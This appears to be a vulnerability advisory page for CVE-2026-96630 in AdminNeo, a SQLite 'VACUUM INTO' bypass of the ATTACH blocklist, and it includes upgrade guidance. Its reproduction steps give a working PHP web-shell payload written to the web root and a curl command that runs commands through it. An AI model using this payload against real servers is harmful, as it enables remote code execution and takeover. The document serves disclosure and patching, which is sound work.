high · 7.2 Patched

AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

CVE-2026-96630 · GHSA-q5mp-gfjf-cf2j · published 30 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.2 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

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Who is affected

  • adminneo-org/adminneo (Packagist) < 5.5.1

How to check

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How to fix

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  1. Upgrade adminneo-org/adminneo to 5.5.1 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE "<?php system($_GET['c']); ?>" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl "http://TARGET/shell.php?c=id" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

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References

Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON